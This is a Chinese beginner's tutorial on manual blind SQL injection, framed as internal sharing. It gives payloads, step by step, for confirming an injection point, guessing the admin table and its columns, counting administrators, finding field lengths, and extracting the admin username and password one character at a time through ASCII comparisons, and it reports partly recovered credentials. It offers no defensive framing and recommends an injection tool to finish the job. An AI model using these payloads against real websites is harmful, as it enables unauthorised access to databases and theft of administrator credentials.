📄 手工注入入門篇內部共享.txt
字号:
.检测注入点:
一般是在连接的后面添加 and 1=1 and 1=2 如果2次返回的页面不同就意味着存在注入漏洞。
注入点我找好了!
2次返回不一样,说明存在注入漏洞!
2.猜解表名:
在注入点后面输入 and (select count(*) from admin)<>0 猜admin的表是否存在(返回正常则存在admin的表名,返回错误就是不存在admin的表名) admin 的表名存在,再来看看其他的,返回错误,说明没有这个表名!继续!
3.猜解列名:
同上面的猜解表名没有多大区别 and (select count(字段名) from 表名)<>0 同样是看返回的页面,返回正常则“此字段”存在 !admin中存在username 试试password 2个都存在!
4.猜解管理员个数:and (select count(*) from admin)=1 =1也就是一个的意思!=2就是2
(同样是看返回页面)
看样子只有一个管理员!!
5.猜解管理员用户名和密码的长度:
and (select len(username) from admin)>=1、>=2、>=3、>=4、>=5、>=6
(同样是看返回页面) 一直把数字从1开始加,加到返回错误为止! 错误的数字即是用户名的长度
10返回错误,说明是9位 继续测password 14返回错误,说明是13位
username 9位 password 13位
6.猜管理员用户名:
最为关键的部分了...仔细看吧!
and (select count(*) from admin where (asc(mid(username,1,1))) between 30 and 130)<>0
username的字段第一个字符的ASCII码在30—130之间,然后再次缩小范围提交,直到返回正确为止!
然后对照ASCII码表,即可猜解出管理员帐号的第一个字符。
猜解第2位则and (select count(*) from admin where (asc(mid(username,2,1))) between 30 and 130)<>0
范围在 45-48之间!很小了
说明username的第一个字符是48对照ASCII就可以知道第一个字符是什么了!
还要猜8次! 48 51 105 0 3 i(要区分大小写) 0 3 i tadmin
密码 97 98 99 a b c 应该没错 a b c d123498765
最后用明小子 来弄吧!
验证一下!是51 还是验证下好,免得错误
为了节省时间我就密码帐号各破解3位,然后用明小子解决!
and (select asc(mid(username,1,1))from admin)=这里填范围!
PS:ASCII码 学过计算机一级的因该知道这是什么~我就不多说了
顺便附送ASCII码对照表http://dev.csdn.net/article/41/41977.shtm
7.猜解管理员密码
同6是一样的,只不过是换了个“列”而已!
上面已经演示了!
嘿嘿 其实手工注入就是这样,但是用工具就比较快,但是,如果没有工具呢?
学一下总比不学好!!!!!
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -